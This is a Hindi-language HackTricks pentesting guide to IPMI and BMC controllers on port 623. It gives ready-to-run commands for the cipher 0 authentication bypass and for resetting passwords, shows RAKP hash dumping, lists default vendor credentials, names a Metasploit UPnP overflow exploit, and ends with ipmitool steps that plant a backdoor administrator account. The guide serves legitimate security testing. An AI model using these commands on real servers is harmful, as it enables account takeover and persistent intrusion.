623/UDP/TCP - IPMI

Reading time: 8 minutes

623/UDP/TCP - IPMI

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Basic Information

IPMI का अवलोकन

Intelligent Platform Management Interface (IPMI) कंप्यूटर सिस्टम के दूरस्थ प्रबंधन और निगरानी के लिए एक मानकीकृत दृष्टिकोण प्रदान करता है, जो ऑपरेटिंग सिस्टम या पावर स्थिति से स्वतंत्र है। यह तकनीक सिस्टम प्रशासकों को दूरस्थ रूप से सिस्टम प्रबंधित करने की अनुमति देती है, यहां तक कि जब वे बंद या असंवेदनशील होते हैं, और यह विशेष रूप से उपयोगी है:

  • प्री-OS बूट कॉन्फ़िगरेशन
  • पावर-ऑफ प्रबंधन
  • सिस्टम विफलताओं से पुनर्प्राप्ति

IPMI तापमान, वोल्टेज, फैन स्पीड और पावर सप्लाई की निगरानी करने में सक्षम है, साथ ही इन्वेंटरी जानकारी प्रदान करता है, हार्डवेयर लॉग की समीक्षा करता है, और SNMP के माध्यम से अलर्ट भेजता है। इसके संचालन के लिए एक पावर स्रोत और एक LAN कनेक्शन आवश्यक हैं।

1998 में Intel द्वारा पेश किए जाने के बाद से, IPMI को कई विक्रेताओं द्वारा समर्थित किया गया है, जो दूरस्थ प्रबंधन क्षमताओं को बढ़ाता है, विशेष रूप से संस्करण 2.0 के LAN पर सीरियल के समर्थन के साथ। मुख्य घटक शामिल हैं:

  • Baseboard Management Controller (BMC): IPMI संचालन के लिए मुख्य माइक्रो-कंट्रोलर।
  • संचार बस और इंटरफेस: आंतरिक और बाहरी संचार के लिए, जिसमें ICMB, IPMB, और स्थानीय और नेटवर्क कनेक्शनों के लिए विभिन्न इंटरफेस शामिल हैं।
  • IPMI मेमोरी: लॉग और डेटा संग्रहीत करने के लिए।

https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right

डिफ़ॉल्ट पोर्ट: 623/UDP/TCP (यह आमतौर पर UDP पर होता है लेकिन यह TCP पर भी चल सकता है)

Enumeration

Discovery

bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

आप संस्करण का पहचान कर सकते हैं:

bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

IPMI Vulnerabilities

IPMI 2.0 के क्षेत्र में, Dan Farmer द्वारा एक महत्वपूर्ण सुरक्षा दोष का पता लगाया गया, जो cipher type 0 के माध्यम से एक भेद्यता को उजागर करता है। यह भेद्यता, जिसे Dan Farmer's research में विस्तार से दस्तावेजित किया गया है, किसी भी पासवर्ड के साथ अनधिकृत पहुंच की अनुमति देती है यदि एक मान्य उपयोगकर्ता को लक्षित किया जाए। यह कमजोरी HP, Dell, और Supermicro जैसे निर्माताओं के विभिन्न BMCs में पाई गई, जो सभी IPMI 2.0 कार्यान्वयन में एक व्यापक समस्या का सुझाव देती है।

IPMI Authentication Bypass via Cipher 0

इस दोष का पता लगाने के लिए, निम्नलिखित Metasploit सहायक स्कैनर का उपयोग किया जा सकता है:

bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero

इस दोष का शोषण ipmitool के साथ किया जा सकता है, जैसा कि नीचे प्रदर्शित किया गया है, जो उपयोगकर्ता पासवर्ड की सूची बनाने और संशोधित करने की अनुमति देता है:

bash
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

IPMI 2.0 RAKP प्रमाणीकरण दूरस्थ पासवर्ड हैश पुनर्प्राप्ति

यह सुरक्षा कमी किसी भी मौजूदा उपयोगकर्ता नाम के लिए नमकीन हैश किए गए पासवर्ड (MD5 और SHA1) की पुनर्प्राप्ति की अनुमति देती है। इस सुरक्षा कमी का परीक्षण करने के लिए, Metasploit एक मॉड्यूल प्रदान करता है:

bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

IPMI गुमनाम प्रमाणीकरण

कई BMCs में एक डिफ़ॉल्ट कॉन्फ़िगरेशन "गुमनाम" पहुँच की अनुमति देता है, जिसे शून्य उपयोगकर्ता नाम और पासवर्ड स्ट्रिंग द्वारा पहचाना जाता है। इस कॉन्फ़िगरेशन का उपयोग ipmitool का उपयोग करके नामित उपयोगकर्ता खातों के पासवर्ड को रीसेट करने के लिए किया जा सकता है:

bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Supermicro IPMI स्पष्ट-पाठ पासवर्ड

IPMI 2.0 में एक महत्वपूर्ण डिज़ाइन विकल्प BMCs के भीतर प्रमाणीकरण उद्देश्यों के लिए स्पष्ट-पाठ पासवर्डों के भंडारण की आवश्यकता करता है। Supermicro द्वारा इन पासवर्डों को /nv/PSBlock या /nv/PSStore जैसे स्थानों में संग्रहीत करने से महत्वपूर्ण सुरक्षा चिंताएँ उठती हैं:

bash
cat /nv/PSBlock

Supermicro IPMI UPnP Vulnerability

Supermicro के IPMI फर्मवेयर में UPnP SSDP श्रोता का समावेश, विशेष रूप से UDP पोर्ट 1900 पर, एक गंभीर सुरक्षा जोखिम प्रस्तुत करता है। Intel SDK for UPnP Devices संस्करण 1.3.1 में कमजोरियाँ, जैसा कि Rapid7's disclosure में विस्तृत किया गया है, BMC तक रूट एक्सेस की अनुमति देती हैं:

bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow

ब्रूट फोर्स

HP अपने इंटीग्रेटेड लाइट्स आउट (iLO) उत्पाद के लिए डिफ़ॉल्ट पासवर्ड को यादृच्छिक बनाता है। यह प्रथा अन्य निर्माताओं के विपरीत है, जो आमतौर पर स्थिर डिफ़ॉल्ट क्रेडेंशियल्स का उपयोग करते हैं। विभिन्न उत्पादों के लिए डिफ़ॉल्ट उपयोगकर्ता नाम और पासवर्ड का सारांश निम्नलिखित है:

  • HP इंटीग्रेटेड लाइट्स आउट (iLO) एक फैक्टरी यादृच्छिक 8-चरित्र स्ट्रिंग को अपने डिफ़ॉल्ट पासवर्ड के रूप में उपयोग करता है, जो उच्च सुरक्षा स्तर को दर्शाता है।
  • Dell के iDRAC, IBM के IMM, और Fujitsu के इंटीग्रेटेड रिमोट मैनेजमेंट कंट्रोलर जैसे उत्पाद आसानी से अनुमानित पासवर्ड का उपयोग करते हैं जैसे "calvin", "PASSW0RD" (शून्य के साथ), और "admin" क्रमशः।
  • इसी तरह, Supermicro IPMI (2.0), Oracle/Sun ILOM, और ASUS iKVM BMC भी सरल डिफ़ॉल्ट क्रेडेंशियल्स का उपयोग करते हैं, जिनमें "ADMIN", "changeme", और "admin" उनके पासवर्ड के रूप में कार्य करते हैं।

BMC के माध्यम से होस्ट तक पहुँच

बेसबोर्ड प्रबंधन नियंत्रक (BMC) तक प्रशासनिक पहुँच होस्ट के ऑपरेटिंग सिस्टम तक पहुँचने के लिए विभिन्न मार्ग खोलती है। एक सीधा दृष्टिकोण BMC के कीबोर्ड, वीडियो, माउस (KVM) कार्यक्षमता का लाभ उठाना है। यह या तो GRUB के माध्यम से रूट शेल पर होस्ट को पुनः प्रारंभ करके (init=/bin/sh) या एक वर्चुअल CD-ROM से बूट करके किया जा सकता है जिसे एक बचाव डिस्क के रूप में सेट किया गया है। ऐसे तरीके होस्ट के डिस्क में सीधे हेरफेर की अनुमति देते हैं, जिसमें बैकडोर डालना, डेटा निकालना, या सुरक्षा मूल्यांकन के लिए आवश्यक कोई भी कार्रवाई शामिल है। हालाँकि, इसके लिए होस्ट को पुनः प्रारंभ करना आवश्यक है, जो एक महत्वपूर्ण कमी है। बिना पुनः प्रारंभ किए, चल रहे होस्ट तक पहुँच अधिक जटिल है और होस्ट की कॉन्फ़िगरेशन के साथ भिन्न होती है। यदि होस्ट का भौतिक या अनुक्रमणीय कंसोल लॉग इन रहता है, तो इसे BMC के KVM या सीरियल-ओवर-LAN (sol) कार्यक्षमताओं के माध्यम से ipmitool के माध्यम से आसानी से नियंत्रित किया जा सकता है। साझा हार्डवेयर संसाधनों, जैसे i2c बस और सुपर I/O चिप के शोषण की खोज एक ऐसा क्षेत्र है जिसे आगे की जांच की आवश्यकता है।

होस्ट से BMC में बैकडोर डालना

BMC से लैस एक होस्ट को समझौता करने पर, स्थानीय BMC इंटरफ़ेस का उपयोग करके एक बैकडोर उपयोगकर्ता खाता डाला जा सकता है, जो सर्वर पर एक स्थायी उपस्थिति बनाता है। इस हमले के लिए ipmitool का होस्ट पर होना और BMC ड्राइवर समर्थन का सक्रियण आवश्यक है। निम्नलिखित कमांड दर्शाती हैं कि कैसे एक नया उपयोगकर्ता खाता होस्ट के स्थानीय इंटरफ़ेस का उपयोग करके BMC में इंजेक्ट किया जा सकता है, जो प्रमाणीकरण की आवश्यकता को बायपास करता है। यह तकनीक लिनक्स, विंडोज, BSD, और यहां तक कि DOS सहित विभिन्न ऑपरेटिंग सिस्टम पर लागू होती है।

bash
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • port:623

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें